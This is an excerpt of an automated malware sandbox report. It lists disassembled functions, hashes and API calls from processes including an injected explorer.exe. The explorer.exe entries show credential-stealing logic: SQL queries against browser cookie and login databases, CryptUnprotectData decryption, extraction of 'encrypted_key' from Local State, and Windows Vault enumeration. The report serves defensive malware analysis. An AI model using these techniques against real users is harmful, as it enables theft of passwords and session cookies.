Source File: 0000001E.00000002.522922595.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_aspnet_compiler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 691a887aca440bf0981980ffb69ebb9393fd1489103dfcc893f71312a483f854
Instruction ID: c0db0efe21a2bd9059c32bcfc07a19332ad4189998e6c0f0d4dc2cb712a40848
Opcode Fuzzy Hash: 691a887aca440bf0981980ffb69ebb9393fd1489103dfcc893f71312a483f854
Instruction Fuzzy Hash: 3C41332100ABD58FC7138F304A264A67F64FD1372171D00EFD8809B6A3C73A5A07C79A

Function 004022D9 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.522922595.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_aspnet_compiler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7860815ad4231e939db7468cf30c1f9d63862ef5de29645b67a78e94f400ad0
Instruction ID: 407047d8813846ed623c6620c5c661c30d6a874651c06bbb2e7ade0d14a7dce7
Opcode Fuzzy Hash: c7860815ad4231e939db7468cf30c1f9d63862ef5de29645b67a78e94f400ad0
Instruction Fuzzy Hash: 92117D2020C541FCD321D27CCA0C911BFA99B4F72075401FBD691250C3DAB9094AEBAB

Function 004022D8 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.522922595.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_aspnet_compiler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62f82913357ed83049cd1887261115a72de1e32be9748c9b7b11558f6f6d0137
Instruction ID: 5db6927ec116302fd1a3f9be718c7712ee400501de5b38768fcc91fc62191cbb
Opcode Fuzzy Hash: 62f82913357ed83049cd1887261115a72de1e32be9748c9b7b11558f6f6d0137
Instruction Fuzzy Hash: 56117D2024C581ECD321D37CCA48914BFA69B4F72076801FBD691694C3CAB9454AEBAB

Function 004022E5 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.522922595.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_aspnet_compiler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 039acd9b67e764601ba82469f9de9df4a99d24579219de54cf11ac1d4119bc91
Instruction ID: 863a443b315763638c31dffea77139fa9fc7248c2f9879795720f54bbf800da4
Opcode Fuzzy Hash: 039acd9b67e764601ba82469f9de9df4a99d24579219de54cf11ac1d4119bc91
Instruction Fuzzy Hash: 4F115C2020C941ADD321D37CCA08914BFA59B4F72075802FBD6915A0C6CA79454AEF97

Function 004022F7 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.522922595.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_aspnet_compiler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e540363add078f276303d02989b505c159875bf8d0edc9c9c36215123116058
Instruction ID: 0c8bb5551e2abd97a64ae9c19d193427848800bdc9eaee9e975189e24a5225cd
Opcode Fuzzy Hash: 3e540363add078f276303d02989b505c159875bf8d0edc9c9c36215123116058
Instruction Fuzzy Hash: 56112C2020C581EDD321D27CCA09514BF959B4F72475801FBD691690C6DA79454AEB9B

Function 00402321 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.522922595.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_aspnet_compiler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25919fc75364af992eb4b4042875d07686e0c12065a18c89e44093fc2b7c95b2
Instruction ID: f976abf0b506ce6ff8f37bbd7c8af7624669eab2ab4b5b0fb9c0d747e7254d45
Opcode Fuzzy Hash: 25919fc75364af992eb4b4042875d07686e0c12065a18c89e44093fc2b7c95b2
Instruction Fuzzy Hash: 1601472124C991BCE331E33CC908904BFE69B4FB6475802FAD2A15A0C7DA214589DFE7

Function 004025D3 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.522922595.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_aspnet_compiler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4027c6423f46035466e643bdd863a4de9ba613b5b2dc0b913ca9580a9ba2c0d
Instruction ID: c5c43ab6752ee8d18fcb74b59ff98ad39f6596117cd62c5b2c77ced72334e6aa
Opcode Fuzzy Hash: f4027c6423f46035466e643bdd863a4de9ba613b5b2dc0b913ca9580a9ba2c0d
Instruction Fuzzy Hash: B111E2321002609FDF21AF24C49569AFBB2FF4530C375A188C9969B111E722AD8FCB91

Function 00402686 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.522922595.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_aspnet_compiler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e7a0acffb87ace860446896612c735c16b272113d31e621940bc7827f3f290d
Instruction ID: c48700b05c06e988df87cd580ca5e4308363d13747befdac9a33251d9afddee9
Opcode Fuzzy Hash: 1e7a0acffb87ace860446896612c735c16b272113d31e621940bc7827f3f290d
Instruction Fuzzy Hash: 8EF0227101036187CF18AB389498198BBA1EE46668798079EDDA2770D2E327A4A9CB90

Analysis Process: aspnet_compiler.exePID: 3964, Parent PID: 3836COMMON

Execution Graph

Execution Coverage:	18.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	8
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00403003 Relevance: 3.1, APIs: 2, Instructions: 84
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 00403091
NtTerminateProcess.NTDLL ref: 004030AA

Memory Dump Source

Source File: 00000022.00000002.568028419.0000000000403000.00000040.00000400.00020000.00000000.sdmp, Offset: 00403000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_403000_aspnet_compiler.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: 94977c7c957da28ebdb49773db0d725be25098902dae5918022c0f55c4de826c
Instruction ID: e9ffd69ad77dc161c830ca1f5e4fbd3b11cc50034e2b0388e00130c93396e596
Opcode Fuzzy Hash: 94977c7c957da28ebdb49773db0d725be25098902dae5918022c0f55c4de826c
Instruction Fuzzy Hash: 3E112231529E4C4BD364AF6CA4453A6FAD5F788364FA503AEE808C23C8E738C90182C6

Function 004030BF Relevance: 3.1, APIs: 2, Instructions: 82
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 00403091
NtTerminateProcess.NTDLL ref: 004030AA

Memory Dump Source

Source File: 00000022.00000002.568028419.0000000000403000.00000040.00000400.00020000.00000000.sdmp, Offset: 00403000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_403000_aspnet_compiler.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: 68039ed0c8a162d12ca09812c6278e271bdb2fbceb5e85ccc71b30fa0e8d246c
Instruction ID: 715d93b18a869b872d6bab68aa9d9aa25fe40f65b3c459de5f1da0bbea4f6161
Opcode Fuzzy Hash: 68039ed0c8a162d12ca09812c6278e271bdb2fbceb5e85ccc71b30fa0e8d246c
Instruction Fuzzy Hash: 222105309087448FE3549F7C98423A6BFE0EB4A311F6805AFD596DA2D2D33E5A46C787

Analysis Process: vtjrhjiPID: 3728, Parent PID: 4052COMMON

Executed Functions

Function 001B0D59 Relevance: 1.3, Strings: 1, Instructions: 28COMMON

Download Yara Rule

Strings

8!p, xrefs: 001B0D75

Memory Dump Source

Source File: 00000024.00000002.582316455.00000000001B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_1b0000_vtjrhji.jbxd

Similarity

API ID:
String ID: 8!p
API String ID: 0-2808226621
Opcode ID: 4d096564618acf1124d36d06770a9a62793d855c8afdb9d21c177758ed81b14e
Instruction ID: d4a7317497f3bd300b96bcd5ee02e91f0dfbd56fcc1c95a3f055b540fbf511b7
Opcode Fuzzy Hash: 4d096564618acf1124d36d06770a9a62793d855c8afdb9d21c177758ed81b14e
Instruction Fuzzy Hash: 6CF0A0792016008FD702EBA8F891BAABBE59F84315F54016CE006CB3A5DB609D058B80

Function 001B0D68 Relevance: 1.3, Strings: 1, Instructions: 24COMMON

Download Yara Rule

Strings

8!p, xrefs: 001B0D75

Memory Dump Source

Source File: 00000024.00000002.582316455.00000000001B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_1b0000_vtjrhji.jbxd

Similarity

API ID:
String ID: 8!p
API String ID: 0-2808226621
Opcode ID: fea5375f5f33d6e68514ae3fdcc0550ef3d7c361e8450714c257121379248f0d
Instruction ID: dec617530401242cf1afbfe55e06a0a78430c99105172dba0ee85beb689ed19f
Opcode Fuzzy Hash: fea5375f5f33d6e68514ae3fdcc0550ef3d7c361e8450714c257121379248f0d
Instruction Fuzzy Hash: A3E09A382012008FD701FBA8E581A6AB3E9AFC8720F104468E5098B3A4CB20AC458BC0

Function 001B0848 Relevance: .2, Instructions: 215COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.582316455.00000000001B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_1b0000_vtjrhji.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54f9cfac694de82b5e2e6a36ee6ceff7f66f8ea7f4c59d8693710889141e379c
Instruction ID: a715e25008d9d04651aa5485325c53e075716817b1a3e47ec416e440197d7b00
Opcode Fuzzy Hash: 54f9cfac694de82b5e2e6a36ee6ceff7f66f8ea7f4c59d8693710889141e379c
Instruction Fuzzy Hash: A671D135A00304CFDB11EFB4E4956AEB7E6EFC8314F108569E8059B351DB71AE46CB81

Function 001B08A8 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.582316455.00000000001B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_1b0000_vtjrhji.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14988af6992bed95ff49e5332d729cc8b6fc6873304daa01d0e0ecd6f68b95f9
Instruction ID: b4eeb6b7a8e22fc0b20cd52bd4268d5d82b2a7f50e66daa442f9e8ea0258ef4d
Opcode Fuzzy Hash: 14988af6992bed95ff49e5332d729cc8b6fc6873304daa01d0e0ecd6f68b95f9
Instruction Fuzzy Hash: 6341D731A003048FDB15DBB4D4592AEBBF6EFC8305F11456AE805E7391DF75AD428B81

Function 001B0C20 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.582316455.00000000001B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_1b0000_vtjrhji.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ebf257692071f45a235390c7f25138413d7abe4d9c23147fb7f2a3fd1b68125
Instruction ID: 76ca67c831c89715eeb588ec3a6ff1dc2b1e2ad4fa516915db2df3fae727a6f5
Opcode Fuzzy Hash: 4ebf257692071f45a235390c7f25138413d7abe4d9c23147fb7f2a3fd1b68125
Instruction Fuzzy Hash: 283106357002108FD75AAF78C49891D77A2AF8A75532609B9E406CF3B5DA35EC41CB80

Function 001B092D Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.582316455.00000000001B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_1b0000_vtjrhji.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 577196194cde6f54e216693e55ef167d11fcf5bc66bd3f2a68d6ad5b878f8143
Instruction ID: 52763c98fcd8b18702bfc8edcfc8aeefe12addbf9a3dee01eb23ad44dcb2a570
Opcode Fuzzy Hash: 577196194cde6f54e216693e55ef167d11fcf5bc66bd3f2a68d6ad5b878f8143
Instruction Fuzzy Hash: 90217F30B00200CFDB05ABB8D5693AEB7E6AFC8305F118465E805E73A1DF75ED828791

Function 001B0D20 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.582316455.00000000001B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_1b0000_vtjrhji.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ba65ac32322d89a9bb905e8b89e9e5379c76c0068ae132c7a644734bbb531e2
Instruction ID: 7d7ead06f09cba45d8fb46e12807fa19fa14e4182c7302fd3e92f1e4a7f9b4ba
Opcode Fuzzy Hash: 7ba65ac32322d89a9bb905e8b89e9e5379c76c0068ae132c7a644734bbb531e2
Instruction Fuzzy Hash: 60D05E79109340DFD3029F60FE98E263FB9EB08726F590189E849C7777D625D864CB11

Analysis Process: explorer.exePID: 3756, Parent PID: 1244COMMON

Execution Graph

Execution Coverage:	2.5%
Dynamic/Decrypted Code Coverage:	53.1%
Signature Coverage:	25.7%
Total number of Nodes:	588
Total number of Limit Nodes:	31

Executed Functions

Function 00123717 Relevance: 45.9, APIs: 19, Strings: 7, Instructions: 401
stringfileencryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00121B6A: CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000), ref: 00121B82
Part of subcall function 00121B6A: CloseHandle.KERNEL32(00000000), ref: 00121B8F

GetTempPathW.KERNEL32(00000104,00000000), ref: 00123778
GetTempFileNameW.KERNELBASE(00000000,00000000,00000000,00000000), ref: 00123782
DeleteFileW.KERNELBASE(00000000), ref: 00123789
CopyFileW.KERNEL32(?,00000000,00000000), ref: 00123794
RtlCompareMemory.NTDLL(00000000,?,00000003), ref: 0012383B
RtlZeroMemory.NTDLL(?,00000040), ref: 00123870
lstrlen.KERNEL32(?,?,?,?,?), ref: 0012398B
lstrlen.KERNEL32(00000000), ref: 0012399A
wsprintfA.USER32 ref: 001239F1
lstrlen.KERNEL32(00000000,?,?), ref: 001239FD
lstrcat.KERNEL32(00000000,?), ref: 00123A21
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00123A49
lstrlen.KERNEL32(?,00000000,00000000,00000000,00000000), ref: 00123B13
lstrlen.KERNEL32(00000000), ref: 00123B22
wsprintfA.USER32 ref: 00123B79
lstrlen.KERNEL32(00000000), ref: 00123B85
lstrcat.KERNEL32(00000000,?), ref: 00123BA9
lstrlen.KERNEL32(00000000,?,?,?,00000000,00000000,?), ref: 00123BDA
DeleteFileW.KERNELBASE(00000000,00000000,?), ref: 00123C16

Strings

v1, xrefs: 00123821
0, xrefs: 00123828
SELECT host_key,path,is_secure,name,encrypted_value FROM cookies, xrefs: 001237C3
COOKIES, xrefs: 00123BE8, 00123BED, 00123BF6
FALSE, xrefs: 001239BC, 00123B3C
TRUE, xrefs: 001239C9, 00123B51
%sTRUE%s%s%s%s%s, xrefs: 001239EB, 00123B73

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: lstrlen$File$DeleteMemoryTemplstrcatwsprintf$CloseCompareCopyCreateCryptDataHandleNamePathUnprotectZero
String ID: %sTRUE%s%s%s%s%s$0$COOKIES$FALSE$SELECT host_key,path,is_secure,name,encrypted_value FROM cookies$TRUE$v1
API String ID: 584740257-404540950
Opcode ID: 48cbe6c33b73bb97d182ebed549665eb30f9aefcfae5113fdde09ad99bc3d3fa
Instruction ID: c8d9e6f22da00eb79d5b5de83d9471c67dd4b7ec253e0d0d50e4690982dcc3f0
Opcode Fuzzy Hash: 48cbe6c33b73bb97d182ebed549665eb30f9aefcfae5113fdde09ad99bc3d3fa
Instruction Fuzzy Hash: 48E1CA31208351AFD725DF24E884E2FBBEAAFD5344F04482CF8A587291DB79C995CB52

Function 00122198 Relevance: 33.5, APIs: 12, Strings: 7, Instructions: 242
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlZeroMemory.NTDLL(?,00000114), ref: 001221AF
GetVersionExW.KERNEL32(?), ref: 001221BE
LoadLibraryW.KERNEL32(vaultcli.dll), ref: 001221E8
GetProcAddress.KERNEL32(00000000,VaultOpenVault), ref: 0012220A
GetProcAddress.KERNEL32(00000000,VaultCloseVault), ref: 00122214
GetProcAddress.KERNEL32(00000000,VaultEnumerateItems), ref: 00122220
GetProcAddress.KERNEL32(00000000,VaultGetItem), ref: 0012222A
GetProcAddress.KERNEL32(00000000,VaultFree), ref: 00122236
RtlCompareMemory.NTDLL(?,00181110,00000010), ref: 001222E8
RtlCompareMemory.NTDLL(?,00181110,00000010), ref: 0012236C

Part of subcall function 00121953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,00122F0C), ref: 00121973
Part of subcall function 00121953: lstrlenW.KERNEL32(00176564,?,?,00122F0C), ref: 00121978
Part of subcall function 00121953: lstrcatW.KERNEL32(00000000,?), ref: 00121990
Part of subcall function 00121953: lstrcatW.KERNEL32(00000000,00176564), ref: 00121994

StrStrIW.SHLWAPI(?,Internet Explorer), ref: 001223FE
FreeLibrary.KERNELBASE(00000000), ref: 00122493

Strings

vaultcli.dll, xrefs: 001221E3
VaultOpenVault, xrefs: 00122204
VaultCloseVault, xrefs: 0012220C
Internet Explorer, xrefs: 001223F8
VaultGetItem, xrefs: 00122222
VaultEnumerateItems, xrefs: 00122216
VaultFree, xrefs: 0012222C

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: AddressProc$Memory$CompareLibrarylstrcatlstrlen$FreeLoadVersionZero
String ID: Internet Explorer$VaultCloseVault$VaultEnumerateItems$VaultFree$VaultGetItem$VaultOpenVault$vaultcli.dll
API String ID: 2583887280-2831467701
Opcode ID: 9b16d8eed1db89fa32cc2f3cd4d7108332ca85092c7c64ceebfcbdbf896221fb
Instruction ID: 0e92114043981e3c6fbac4f2cd3a6fe0fd7dfc30556108c13bdd0e74341fd593
Opcode Fuzzy Hash: 9b16d8eed1db89fa32cc2f3cd4d7108332ca85092c7c64ceebfcbdbf896221fb
Instruction Fuzzy Hash: D6918971A08351AFD714EF61E884A2FBBE9BFA8704F00882DF98597251EB70D951CB52

Function 00123098 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 248
fileencryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00121B6A: CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000), ref: 00121B82
Part of subcall function 00121B6A: CloseHandle.KERNEL32(00000000), ref: 00121B8F

GetTempPathW.KERNEL32(00000104,00000000), ref: 001230F9
GetTempFileNameW.KERNELBASE(00000000,00000000,00000000,00000000), ref: 00123103
DeleteFileW.KERNELBASE(00000000), ref: 0012310A
CopyFileW.KERNEL32(?,00000000,00000000), ref: 00123115
RtlCompareMemory.NTDLL(00000000,00000000,00000003), ref: 001231A4
RtlZeroMemory.NTDLL(?,00000040), ref: 001231D7
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 001232DF
DeleteFileW.KERNELBASE(00000000,00000000,?), ref: 0012339C

Strings

@, xrefs: 001231F1
SELECT origin_url,username_value,password_value FROM logins, xrefs: 00123136
0, xrefs: 00123191
v1, xrefs: 0012318A

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: File$DeleteMemoryTemp$CloseCompareCopyCreateCryptDataHandleNamePathUnprotectZero
String ID: 0$@$SELECT origin_url,username_value,password_value FROM logins$v1
API String ID: 2757140130-4052020286
Opcode ID: 6cb9ef676cc41253d44c6ff25e59266749f20b0a0fd5f1f27d929666c0a4b64c
Instruction ID: 2af3063470e7258fda8b6e57845101c2d10236ec0625148708bc3e163d58fcc5
Opcode Fuzzy Hash: 6cb9ef676cc41253d44c6ff25e59266749f20b0a0fd5f1f27d929666c0a4b64c
Instruction Fuzzy Hash: CD91C931208351AFD710DF24E884A2FBBE9BFD5344F00092DF495922A0DB38CE58CB62

Function 00123ED9 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 82
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00121000: GetProcessHeap.KERNEL32(00000008,?,001211C7,?,?,00000001,00000000,?), ref: 00121003
Part of subcall function 00121000: RtlAllocateHeap.NTDLL(00000000), ref: 0012100A

PathCombineW.SHLWAPI(00000000,00000000,*.*), ref: 00123F0A
FindFirstFileW.KERNELBASE(00000000,?,?,00000000), ref: 00123F16
lstrcmpiW.KERNEL32(?,001762CC), ref: 00123F38
lstrcmpiW.KERNEL32(?,001762D0), ref: 00123F4C
PathCombineW.SHLWAPI(00000000,00000000,?), ref: 00123F69
lstrcmpiW.KERNEL32(?,Local State), ref: 00123F7E
PathCombineW.SHLWAPI(00000000,00000000,?), ref: 00123F9B
FindNextFileW.KERNELBASE(00000000,00000010), ref: 00123FB5
FindClose.KERNELBASE(00000000), ref: 00123FC4

Strings

*.*, xrefs: 00123F01
Local State, xrefs: 00123F78

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: CombineFindPathlstrcmpi$FileHeap$AllocateCloseFirstNextProcess
String ID: *.*$Local State
API String ID: 3923353463-3324723383
Opcode ID: e75e4c35eb180898c3791ef6accae19b5cbb61945ee759e48ec4733fdc75d447
Instruction ID: 3e15b4700bb1c0b205287581d9e104512b3e2aa4ccd0fdd684b4b8b4a0e4a6c4
Opcode Fuzzy Hash: e75e4c35eb180898c3791ef6accae19b5cbb61945ee759e48ec4733fdc75d447
Instruction Fuzzy Hash: 9621BE316007656BD710AB70BC4CE3B76BCAFD5311F040529F82AC2192EB7C8AE98662

Function 00121D4A Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 109
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001219B4: lstrlenW.KERNEL32(00000000,00000000,00000000,00122CAF,00000000,00000000,?,?,00000000,PathToExe,00000000,00000000), ref: 001219C4

FindFirstFileW.KERNELBASE(00000000,?,?,00000000), ref: 00121DA9
lstrcmpiW.KERNEL32(?,001762CC), ref: 00121DCF
lstrcmpiW.KERNEL32(?,001762D0), ref: 00121DE7
lstrcmpiW.KERNEL32(?,?), ref: 00121E62

Part of subcall function 00121CF7: lstrlenW.KERNEL32(00000000,00000000,00000000,00122C27), ref: 00121D02
Part of subcall function 00121CF7: RtlComputeCrc32.NTDLL(00000000,00000000,00000000), ref: 00121D0D

FindNextFileW.KERNELBASE(00000000,00000010), ref: 00121E94
FindClose.KERNELBASE(00000000), ref: 00121EA3

Part of subcall function 00121953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,00122F0C), ref: 00121973
Part of subcall function 00121953: lstrlenW.KERNEL32(00176564,?,?,00122F0C), ref: 00121978
Part of subcall function 00121953: lstrcatW.KERNEL32(00000000,?), ref: 00121990
Part of subcall function 00121953: lstrcatW.KERNEL32(00000000,00176564), ref: 00121994

Strings

\*.*, xrefs: 00121D79
*.*, xrefs: 00121D8B

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: lstrlen$Findlstrcmpi$Filelstrcat$CloseComputeCrc32FirstNext
String ID: *.*$\*.*
API String ID: 232625764-1692270452
Opcode ID: b7b240df1a16e1155bf1f1ae594af04ff19a2809b41e5b8a52d7a55644e23619
Instruction ID: 618635e5ffdc2b6fb3df5377ff9371990356c6f4951066c5705c6e99c4919a03
Opcode Fuzzy Hash: b7b240df1a16e1155bf1f1ae594af04ff19a2809b41e5b8a52d7a55644e23619
Instruction Fuzzy Hash: 1731C930304762BBCB21EB74AC98A7F76FAAFF4340F014529FC4982251EB35CDA99651

Function 00123E04 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 75
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00121B6A: CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000), ref: 00121B82
Part of subcall function 00121B6A: CloseHandle.KERNEL32(00000000), ref: 00121B8F

Part of subcall function 00121C31: CreateFileW.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00121C46
Part of subcall function 00121C31: GetFileSize.KERNEL32(00000000,00000000,00000000,?,00123FA8), ref: 00121C56
Part of subcall function 00121C31: ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000), ref: 00121C76
Part of subcall function 00121C31: CloseHandle.KERNEL32(00000000), ref: 00121C91

Part of subcall function 00122FB1: StrStrIA.SHLWAPI(00000000,"encrypted_key":"), ref: 00122FC1
Part of subcall function 00122FB1: lstrlen.KERNEL32("encrypted_key":",?,00123FA8), ref: 00122FCE
Part of subcall function 00122FB1: StrStrIA.SHLWAPI("encrypted_key":",0017692C), ref: 00122FDD

Part of subcall function 0012123B: lstrlen.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00123E4B,00000000), ref: 0012124A
Part of subcall function 0012123B: CryptStringToBinaryA.CRYPT32(00000000,00000000,00000001,00000000,?,00000000,00000000), ref: 00121268
Part of subcall function 0012123B: CryptStringToBinaryA.CRYPT32(00000000,00000000,00000001,00000000,?,00000000,00000000), ref: 00121295

RtlCompareMemory.NTDLL(00000000,IDPAP,00000005), ref: 00123E74
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00123E9E

Strings

DPAP, xrefs: 00123E52
IDPAP, xrefs: 00123E6E, 00123E72
, xrefs: 00123EA8
DPAP, xrefs: 00123E5A

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: File$Crypt$BinaryCloseCreateHandleStringlstrlen$CompareDataMemoryReadSizeUnprotect
String ID: $DPAP$DPAP$IDPAP
API String ID: 3076719866-957854035
Opcode ID: 65e771e6b8fe4fc690eba3737bbf9fda58571b521eeca9c6c13b3cf6825f1155
Instruction ID: 43d5cf59bb497ee8688b2bfc229c33b628c4eb7530a0083577d1825b4a36a411
Opcode Fuzzy Hash: 65e771e6b8fe4fc690eba3737bbf9fda58571b521eeca9c6c13b3cf6825f1155
Instruction Fuzzy Hash: B521F6326043656BD715EB68AC80A7FB2EDAFA4700F45092DF850C7201EB78CE5D87A2

Function 00189247 Relevance: 6.3, APIs: 4, Instructions: 343
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000187000.00000040.80000000.00040000.00000000.sdmp, Offset: 00187000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_187000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee47bba1dae3e39bc8cddbd947239c221e608ccae016e28ca946f7a11a4fbd13
Instruction ID: e4a66faf1144ff9cdaa8f1e07df35008852dde82cb0bacf5b1bbbb9b8d40481c
Opcode Fuzzy Hash: ee47bba1dae3e39bc8cddbd947239c221e608ccae016e28ca946f7a11a4fbd13
Instruction Fuzzy Hash: 17A17EB2A147525FD721AE78CDD06B0BBA0FB52324B2D076DC9D1CB2C2E7605A07CB51

Function 00124B92 Relevance: 3.0, APIs: 2, Instructions: 26nativeCOMMON

Download Yara Rule

APIs

